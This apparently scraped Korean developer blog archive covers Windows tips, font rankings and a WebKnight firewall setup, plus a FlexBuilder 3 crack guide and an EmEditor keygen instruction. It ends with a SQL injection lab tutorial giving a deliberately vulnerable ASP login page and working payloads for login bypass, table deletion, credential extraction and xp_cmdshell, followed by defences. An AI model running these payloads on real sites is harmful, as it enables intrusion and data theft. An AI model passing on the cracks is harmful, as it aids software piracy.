가끔씩 윈도우 탐색기 등에서 커맨드 창으로 빠져나가야 할 일이 생깁니다
도스(DOS) 명령어를 사용하는 것이 파일관리 등에 유용한 경우가 종종 있기 때문이죠..^^

그런데 커맨드 창(cmd.exe)을 띄우면 기본 위치에서 프롬프트가 시작됩니다
작업해야 할 폴더 위치가 깊숙하다면 경로 이동이 꽤나 귀찮은 문제이죠..
(물론, 탐색기 등에서 전체경로를 복사해서 붙여넣는 방식을 이용할 수도 있긴 합니다만..)

이럴때 폴더에 마우스 오른쪽으로 클릭했을때 뜨는 빠른 메뉴에..
'도스창으로 열기' 항목을 추가해주면 상당히 편리합니다^^
사용자 삽입 이미지

다음 파일을 다운로드 받으신 후, 더블 클릭하여 레지스트리에 추가해주시면 됩니다^^

다운로드


레지스트리를 직접 작성하실 분은 다음 방법을 따라하세요^^


레지스트리 직접 작성하기


1. [시작] - [실행] - 'regedit'를 입력하여 레지스트리 편집기를 실행합니다


2. '내 컴퓨터\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell'로 이동하여 'cmd'라는 키를 새로 만듭니다
    ('shell'에 마우스 오른쪽 → 새로 만들기 → 키 → 'cmd' 입력)
사용자 삽입 이미지
 
사용자 삽입 이미지

4. 문자열 값 데이터를 '도스창으로 열기'로 해줍니다
    (이 부분이 빠른 메뉴에 보이는 메뉴 제목이므로 원하는대로 써주셔도 됩니다..^^)
3. '(기본값)'에 마우스 오른쪽을 누르고 수정을 클릭..
사용자 삽입 이미지
5. 'cmd'키 하위에 다시 'command'라는 키를 만듭니다
    ('cmd'에 마우스 오른쪽 → 새로 만들기 → 키 → 'command' 입력)
사용자 삽입 이미지
6. 'command'키의 문자열 기본값을 수정합니다 (기본값에 마우스 오른쪽 → 수정)
사용자 삽입 이미지
7. 값 데이터는 'cmd.exe /k cd "%1"'으로 해주세요..^^
사용자 삽입 이미지


이제 커맨드 창으로 열려는 폴더에 마우스 오른쪽을 누르시면..
'도스창으로 열기'라는 항목이 보이실 겁니다..^^
2009/04/11 16:07 2009/04/11 16:07
. 파일크기 : 600kb
. 지원 OS : windows
. 개발환경 : 윈도우,기타
. 사용제한 : 프리웨어
. 제작자 : yesclick
. 자료설명 :


웹페이지에 각종 우클릭,드래그,팝업메뉴 방지기능을 단축키만으로 해제하는 프로그램 입니다.

간단한 설치후에 익스플로러에서 단축키 F9만 눌러주면
즉시 마우스 클릭이나 텍스트 선택, 익스플로러 팝업메뉴 사용 등이 가능하구요.

소스보기나 이미지저장,클립보드복사등 원래의 익스플로러의 기능을 100% 사용하고자 할때 유용합니다.
그동안 사용해 왔지만 아직까지 작동이 안되는 웹페이지는 없었습니다.

설치후에 새로 익스플로러를 열고
우클릭,드래그,팝업메뉴 방지기능이 많은 블로그 같은곳에서 테스트 해보세요.

이전에 올린 파일이 손상된듯하여 백신으로 치료후에 다시 올립니다.
2008/06/30 11:34 2008/06/30 11:34

FlexBuilder 3가 adobe에서 다운로드 받을수 있게는 되어 있는데, 60일 제약이 있습니다.
뭐 크랙방법은 인터넷에 많이 있는거 같은데 딱히 정리된게 없어서 요래 올려봅니다.

60일 까지만 사용할수 있다는 메세지(crack후 메세지는 다시 나오지 않습니다.)

사용자 삽입 이미지

  • FlexBuilder가 설치된 디렉토리는 ‘C:Program FilesAdobeFlex Builder 3’로 가정합니다.

일단 다음 첨부 파일을 다운로드 받으신후 압축을 풉니다.


압축을 풀게되면 ‘license.jar’, ‘zornproject.jar’ 파일을 다음 디렉토리로 붙여 넣기 합니다.

license.jar -> pluginscom.adobe.flexbuilder.flex_3.0.194161lib
zornproject.jar ->
pluginscom.adobe.flexbuilder.project_3.0.194161

디렉토리 보이시죠?

사용자 삽입 이미지
날짜를 6개월정도 뒤로 밀려서 실행해도 잘됩니다.
사용자 삽입 이미지
위 내용은 말그대로 개인용도로 개발하실때만 사용하시고 제대로된 개발시에는 정식 라이센스를 구매하세요.
2008/06/25 12:41 2008/06/25 12:41
프로그래밍할 때 어떤 폰트로 코드를 보시나요?

소스 코드의 가독성을 높이고 자신의 스타일에 어울리는 글꼴을 찾는 게 쉽지 않은 일이죠.

여기 전세계 프로그래머가 많이 사용하는 폰트에 대한 순위가 나와 있습니다.


  (Name, Sizes -Fontinfo, Type, Description, Download Info)
  1. Bitstream Vera Sans Mono (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • Plenty of space between lines, dotted zeros, clean.
    • http://www.gnome.org/fonts/
  2. ti92pluspc (View Sample)
  3. Crystal (View Sample)
  4. Monaco (View Sample)
  5. Anonymous (View Sample)
  6. Andale Mono (View Sample)
  7. Raize (View Sample)
  8. ProFontWindows (View Sample)
  9. Sheldon (View Sample)
  10. BSU Kermit (View Sample)
  11. Lucida Sans Typewriter Regular (View Sample)
  12. Courier New (View Sample)
  13. Courier (View Sample)
    • 10, 12, 15
    • TrueType
    • Clean but spread out, no zero treatment.
    • Installed with Windows
  14. Lucida Console (View Sample)
  15. ProggyTiny (View Sample)
  16. ProggyClean (View Sample)
  17. Fixedsys (View Sample)
  18. Topaz-8 (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • Amiga Topaz-8. Little space between lines, slashed zeros, fat/squat text
    • Amiga_Topaz-8.zip
  19. Free Monospaced (View Sample)
  20. MS Mincho (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • No Zero treatment, clear text
    • Installed with Windows or Office. Try Google.
  21. Hyperfont (View Sample)
  22. Squareshooter Mono (View Sample)


(출처 : http://www.lowing.org/fonts)


저의 경우 도스때부터 코딩에 관해서는 Fixedsys를 고수해왔는데, 모니터 해상도가 높아지면서 Fixedsys는 트루칼라가 아니라서 너무 폰트가 작아 보이는 경향이 있어 근래에는 MS에서 배포하는 Consolas를 사용하고 있습니다.

그리고 클리어타입으로 사용중인데, XP에서는 클리어타입사용시 버그가 있기 때문에 꼭 패치를 하셔야 합니다.

보다 더 많은 정보가 있는 사이트를 링크해 둡니다.

프로그래밍용 폰트
기본 글꼴에 대한 고민
2008/06/25 11:42 2008/06/25 11:42
첨부파일 더블클릭후 탐색기 창등에서 해당 폴더에 오른쪽 마우스 클릭 - DOS Promprt 클릭

합니다

그리고 DOS Promprt  요놈에 이름을 변경하고 싶으시면.

첨부 파일을 다운받아서 메모장에 열어서 이름을 변경하시면 됩니다.

전에 자바개발중 컴파일할때 편하게 사용하던 기억이 나네요.
2008/06/22 13:43 2008/06/22 13:43
사용자 삽입 이미지
HttpWatch는 웹페이지를 분석하기에 좋은 가볍고 편리한 도구입니다.

설치를 하면 IE의 상단에 아래와 같이 아이콘이 추가됩니다.

별도의 프로그램의 실행없이 IE만 있으면 되므로 편리합니다.
2008/06/22 01:59 2008/06/22 01:59

This is a protected post. Please enter the password to view the article.
이 글은 비밀글입니다. 글을 보시려면 비밀번호를 입력하세요.

아마 다들잘 아시는 프로그램이라고 생각이 되네요....
 
EmEditor는 JavaScript, VBScript, Macro 등 프로그램 및 문서,
HTML을 작성 및 편집할 수 있도록 도와주는 에디터 유틸리티입니다.

윈도 비스타도 지원하고요...

사용자가 자주 사용하거나 반복적으로 사용하는 기능에 대해 매크로를 만들어 효율적으로 이용할 수 있으며,
다른 애플리케이션을 다루기 위한 자신만의 매크로 기능을 사용할 수 있습니다.
새롭게 EmEditor용 JavaScript 및 VBScript가 추가되었습니다.
이외에도 특정 부분에 자동강조 기능 에러 발생시 대화창으로 표시 기능 등을 제공합니다.

Keyword Highlighting
Bat, C#, C++, CSS, HTML, Ini, Java, JavaScript, JSP, Pascal (Delphi), Perl, PerlScript, PHP, Python, Ruby, SQL, TeX (LaTeX), VBScript, WindowsScript, x86 Assembler 등의 주요 구문에 색상 변화를 통한 표시

Unicode 지원
EmEditor 버전3에서 부터 제공되던 기능으로, 다언어문서를 취급할 때 가장 적당한 Unicode를 찾아 Unicode파일을 열 수 있으며, Unicode의 문자를 편집할 수 있기에, 외국어와 일본어를 동시에 나타낼 수 있을 뿐만 아니라 어려운 한자 표시가 가능하며, 이번에 새롭게 UTF-8과 UTF-7을 지원


Plug-ins
플러그인은 확장자가 DLL인 파일로 쉽게 설치 가능하며, 플러그인의 도움말은 공개되어 있으므로 필요한 기능의 플러그인을 직접 사용자가 작성하는 것이 가능

External Tools
Toobar나 단축키를 통해 EmEditor상에서 즐겨 사용하는 외부 툴을 실행시킬 수 있음 (예. 열려있는 파일과 관련된 애플리케이션 실행, 인터넷 브라우져를 통한 선택된 문서 검색 등)

Drag and Drop
OLE drag & drop이 가능하며, 응용 프로그램과 drag & drop으로 선택한 텍스트의 복사, 이동이 가능

다양한 기본 성능

작은 용량이면서 충실한 기본 기능 제공(예, 열기 가능한 파일의 크기는 무제한(단, 메모리에 의해서만 제한 받음.)으로 회수의 제한을 자유롭게 설정할 수 있는실행취소」「다시실행」기능, 영문 워드랩, 금측처리, 분할금지_
 
Web Designers를 위한 툴

HTML, PHP, JSP,XML의 효율적 이용

기타

ㆍ파일 검색
ㆍ빠른 매크로
ㆍ검색 및 문제 변환
ㆍ키보드,툴바, 메뉴, 폰트, 칼러의 사용자 임의 지정
ㆍ윈도 분활
ㆍ프린트 기능
ㆍ강조 표시를 위한 단축키
ㆍGlobal IME(Input Method Eidtor지원)
우선 emed7007epx.msi를 설치하신 후, 이서 한글팩내에 있는 emed600lang_korean.msi를 설치하시면 됩니다.
 
그리고 프로그램을 실행시켜서 동봉되어 있는 keygen.exe로 등록키를 받은 후 도움말, EmEditor 정보를 클릭 구매망법을 Clikc하시고 해당 Key를 입력하시면 됩니다.
2008/06/18 11:06 2008/06/18 11:06

상단의 Commands 메뉴에서 Clean Up HTML... 이란 메뉴를 클릭하시고

체크상자를 선택하고 OK 버튼을 누르시면 됩니다.

또한 외부 프로그램으로서 "Shrinker Light" v2.60(프리웨어) 와 "HTMLZip" v1.06(세어웨어)

두가지 정도로 나눌수 있겠는데요.

각종 자료실에서 구하실수 있습니다.(심파일, 앳파일)

2008/06/04 15:26 2008/06/04 15:26
공개웹방화벽 WebKnight 를 이용한 홈페이지 보안에 대해 설명을 드리도록 하겠습니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버

로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따

라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜

준다. 이러한 룰은 정기적인 업데이트가 필요한 공격 패턴 DB에 의존하지 않고 SQL Injection, 디렉

토리 traversal, 문자 인코딩 공격 등과 같이 각 공격의 특징적인 키워드를 이용한 보안필터 사용으로

패턴 업데이트를 최소화하고 있다. 이러한 방법은 알려진 공격 뿐만 아니라 알려지지 않은 공격으로

부터도 웹서버를 보호할 수 있습니다.


먼저 AQTRONIX Webknight.zip 파일을 다운 받습니다.


AQTRONIX Webknight.zip  파일은 본인이 아티보드로 프로젝트를 여러번 하면서

아티보드 에 맞도록 설정한 파일입니다.
(설정 하는 부분이 나름 어려워)

C:\Program Files\AQTRONIX Webknight
이곳에 압축을 푼다

LogFiles, :로그 폴더
Config.exe, :설정파일
denied.htm,
Loaded.xml,
LogAnalysis.exe, :로그 뷰어
readme.htm,
robots.txt, :검색로봇 관련
Robots.xml,
WebKnight.dll, :IIS 로드
WebKnight.xml

폴더 및 파일이 있습니다.

자 이제 윈도우 2003 서버 기준으로 - 인터넷 정보 서비스 (IIS) 관리를 실행 시키고


/웹사이트/ 오른쪽마우스/속성클릭/ - ISAPI필터 클릭/ 우측 - 추가 클릭

필터 이름에 WEBARTY

실행파일에 C:\Program Files\AQTRONIX Webknight\WebKnight.dll 삽입

서비스 탭에서 /격리모드에 IIS 5.0 격리 모드에서 WWW 서비스 실행 (I) 채크 하시고

IIS 다시 시작 하시면 정상 작동 합니다.

격리모드 채크 안하면 오류가 날수 있으므로 각별히 신경 써야 합니다.

-아래-

관련 정보
http://www.krcert.or.kr/firewall2/index2.jsp

설치 메뉴얼 http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=11

원본 파일. :


동영상 메뉴얼
http://www.krcert.or.kr/firewall2/fwDown2.jsp?fkind=13

참고 하세요.

그럼 오늘도 즐겁고 행복한 하루되세요
2008/06/03 21:49 2008/06/03 21:49

▶ ▶ ▶ ▶ ▶ ▶ ▶ SQL INJECTION ◀ ◀ ◀ ◀ ◀ ◀ ◀

꽤 오랜 기간 이어져온 이슈였지만 여전히 그 피해사례의 심각성 및 중요성에 비해
간과되어왔던 부분 중 대표적인 것이 SQL Injection 일 것이다.
많은 응용프로그램에서 개발자의 보안마인드 부족과 결과위주의 접근, 지식의 부재 등

여러 이유로 인해 SQL Injection 공격에 취약성이 발견된다.
실제로 현존하는 여러 웹사이트에서 단순한 공격이 성공하고 있다
.
특히 SQL Injection 공격은 특별히 보안(해킹)관련 지식이 풍부하지 않아도 간단히

수행할 수 있는 공격방법이라서 그 위험성은 아주 크다고 볼 수 있다.

지금부터 SQL Injection 의 여러 공격방법들을 살펴보고 그 심각성을 직접 느껴 본 뒤

적절한 대응책에 대해 알아 본다.

☞ 테스트를 위한 환경설정
1. 회원가입을 처리하는 ASP 페이지를 아래와 같이 만들고 웹 서버에 등록시킨다

- LoginForm.asp -
<html>

  <head>

  <title>SQLInjection Demo</title>   

  <script language="javascript">

     function CheckForm(){

       form = document.LoginForm;

       if(form.MemberID.value.length < 1 ){

         alert("아이디 입력하쇼");

         form.MemberID.focus();

         return false;

       }

       if(form.Password.value.length < 1 ){

         alert("비밀번호 입력하쇼");

         form.Password.focus();

         return false;

       }

       return true;

     }

  </script>

  </head>

  <body>   

  <form name="LoginForm" method="post" action="LoginOK.asp" onSubmit="return CheckForm();">     

     <table border=1 width=500>

       <tr>

         <td width=100>아이디</td>

         <td>

           <input type="text" name="MemberID" size="15">

         </td>

       </tr>

       <tr>

         <td>비밀번호</td>

         <td>

           <input type="text" name="Password" size="40">

         </td>

       </tr>

       <tr align=center>

         <td colspan="2">

           <input type="submit" value=" 로그인 ">        

        </td>

       </tr>

     </table>     

  </form>   

  </body>

</html>

- LoginOK.asp -
<script language="javascript">

  function Error(){

  alert("계정이 다르거나 비밀번호가 다릅니다\n확인후 다시 시도해 주세용~");

  history.back(-1);

  }

</script>

<%

  MemberID = Request("MemberID")

  Password = Request("Password")

 

  strConnect="Provider=SQLOLEDB.1;Persist Security Info=False;User ID=sa;Initial Catalog=SQLInjection;Data Source=(local);Password=1111;"

  set conn = server.createobject("adodb.connection")

  conn.open strConnect

  SQL = "Select * From Tbl_Members Where MemberID = '"& MemberID &"' And Password = '" & Password & "'"

  'SQL = "Select Age From Tbl_Members Where MemberID = '" & MemberID & "'"

  Response.Write SQL

  'Response.ENd

   

  Set Rs = conn.Execute(SQL)

 

  IF Not Rs.EOF Then            '로그인이 성공하면 마이페이지로 보낸다   

  Session("MemberID") = Rs(0)

  Response.Redirect "MyPage.asp"

  ELSE                          '로그인이 실패하면 이전페이지로 다시 보낸다

  Response.Write("<script language='javascript'>Error();</script>")

  END IF

 

  Rs.close

  Set Rs = Nothing

  conn.close

  set conn = nothing

%>


2.
데이터베이스와 테이블을 생성한다
  - SQLInjection
이라는 이름의 데이터베이스 생성
  - Tbl_Members
라는 테이블 생성
  Tbl_Members
테이블 스키마

            MemberID             varchar   20          0

            Password            varchar   20          0

            Name      varchar   50          0

            Age        int          4            0


 
아래와 같이 데이터를 삽입해 둔다

            admin     haha      관리자    30

            test        kaka       테스트맨              31

            babo      huk        바보              32


이렇게 asp와 데이터베이스의 셋팅을 하고 공격유형을 하나하나 살펴보자.


☞ 공격1> 전형적인 공격방법
1.
관리자 계정을 알아낸다
  (
물론 꼭 관리자 계정이 아니라도 되지만.. 여하튼 기 등록된 계정을 알아낸다
 
애인의 계정만 알고 비밀번호를 모를 경우 애인 계정으로 해봐도 되겠정 ^^;)

-
회원가입시 제공되는 회원ID 중복 체크에서 관리계정으로 추정되는

  (
: admin, master, administrator, 사이트도메인명 등) ID 를 알아 낸다

2.
전형적인 홑따옴표와 sql주석문 삽입으로 관리계정으로 로그인 시도한다
 
응용프로그램의 동적쿼리 예시 :
 
셋팅한 asp파일(LoginOK.asp) 로그인시 아이디와 패스워드를 검증하는

 
쿼리가 아래와 같았다.
  (
아직까지 많은 응용프로그램에서 아래와 같은 쿼리가 사용되어 지고 있다
)
  SQL = "Select * From Tbl_Members
        Where MemberID = '"&MemberID &"' And Password = '" & Password & "'"


사례1> 아이디 입력란에 ‘(홑따옴표) 와 주석 삽입으로 불벌 로그인 시도

삽입값 :  admin’--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin'--' And Password = '
아무거나
'
결과
:
비밀번호를 검증하는 부분을 sql 주석으로 만들어 버렸다
.
admin
이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는

admin
으로 로그인 하게 된다.


사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도

삽입값 : ' or 1=1;--    
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;--'
결과 :
 
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다
.
 
역시 admin으로 로그인이 성공하게 된다.


사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)

삽입값 : 1’ or MemberID=’admin
실행되는 쿼리 :
  Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
  or MemberID='admin'
결과 :
 
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.


사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)

삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
  Delete From Test-- '
결과 :
 
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은

 
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다


위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
정말 큰일이 아닐 수 없네요..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을
깨내는 데모를 보여드리겠습니다




☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기

로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

아래와 같은 url IE에서 바로 접근한다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20


  결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.



사례2> 테이블 명 알아내기

  알아낸 패스워드 컬럼을 그룹핑 합니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   group by (Password) --
  역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

  결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다

(
덤으로 컬럼명도 하나더 얻었네요 ^^)
추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을

얻을 수 있습니다
. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요
-.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나
' group by (Password) , (MemberID) --

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20


또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다


  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다
)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다
.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 

  결과
  즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
  (
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

  희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)

  내부적으로 실행된 코드는 아래와 같겠죠..

  Select * From Tbl_Members Where MemberID = 'admin'

  UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''

  여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
  모두 캐낼 수 있습니다.



☞ 공격2> 회원아이디 및 비밀번호 알아내기
  (
아주 흥미로운 결과를 알 수 있습니다)
위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미
회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다
.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다
.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다
.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다
.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요


보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다
.

사례1> 회원테이블에서 모든 회원 아이디 얻기

Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
아이디를 알아 봅시다
.
위에서 이미 알아본 방식입니다만, 다시 언급합니다
.

공격방법
>
아래와 같이 웹브라우저에서 바로 접근

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다.


좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다

아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리
:
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..


이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다


사례2> 특정 회원의 비밀번호 알아내기
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

아래와 같이 실행합니다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'


- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬


그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)


이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요
..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다
.
그럼.. 본 글을 핵심
!!
SQL Injection 의 완벽 대응책을 알려 드립니다



SQL INJECTION 의 대응책

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등


* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
 
반드시 그 입력값을 검증하라.
 
위험요소가 있는 입력값은 아래와 같습니다.
  ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
 
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
 
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
  SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
 
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
 
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
 
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
  (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
 
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
 
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
  ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
  (
다 알지요?)

4.
.. 뭐가 있을까요
 
.. 만에 하나를 대비하는 DB백업.
 
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
